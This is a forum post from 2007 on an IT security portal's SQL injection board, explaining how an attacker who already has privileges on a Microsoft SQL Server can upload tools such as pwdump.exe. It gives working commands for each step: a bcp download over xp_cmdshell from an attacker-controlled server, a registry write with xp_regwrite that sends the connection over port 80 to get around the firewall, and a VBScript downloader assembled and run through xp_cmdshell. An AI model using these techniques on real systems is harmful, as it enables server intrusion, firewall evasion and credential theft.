Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 28, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 828
Members: 0
Total: 828
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Uploading Files
Post new topic  Reply to topic View previous topic :: View next topic 
Uploading Files
PostPosted: Sun Feb 11, 2007 4:51 pm Reply with quote
Dinosaurio
Regular user
Regular user
 
Joined: Aug 11, 2006
Posts: 10




Hi,


Once an attacker has gained adequate privileges on the SQL Server, they will then want to upload ?binaries? to the server. Since this can not be done using protocols such as SMB, since port 137-139 typically is blocked at the firewall, the attacker will need another method of getting the binaries onto the victim?s file system. This can be done by uploading a binary file into a table local to the attacker and then pulling the data to the victim?s file system using a SQL Server connection.

To accomplish this the attacker would create a table on the local server as follows.
create table AttackerTable (data text) Having created the table to hold the binary, the attacker would then upload the binary into the table as follows:

bulk insert AttackerTable
from 'pwdump.exe'
with (codepage='RAW')

The binary can then be downloaded to the victim server from the attacker?s server by running the following SQL statement on the victim server:

exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -
Craw -Shackersip -Usa -Ph8ck3r'

This statement will issue an outbound connection to the attacker?s server and write the results of the query into a file recreating the executable. In this case, the connection will be made using the default protocol and port which could likely be blocked by the firewall. To circumvent the firewall, the attacker could try:

exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo','Hacke
rSrvAlias','REG_SZ','DBMSSOCN,hackersip,80'

and then:
exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -
Craw -SHackerSrvAlias -Usa -Ph8ck3r'

The first SQL statement will configure a connection to the hacker?s server over port 80 while the second SQL statement will connect to the hacker?s server using port 80 and download the binary file.

Another method a hacker could use would be to write Visual Basic Script (.vbs) or Java Script files (.js) to the OS file system and then execute those scripts. Using this technique the scripts would connect to any server and download the attacker?s binary files or even copy over the script and execute it in the victim server.

exec xp_cmdshell '"first script line" >> script.vbs'
exec xp_cmdshell '"second script line" >> script.vbs'
...
exec xp_cmdshell '"last script line" >> script.vbs'
exec xp_cmdshell 'script.vbs' -->execute script to download binary


Good Luck


Dino
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
Uploading Files
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.150 Seconds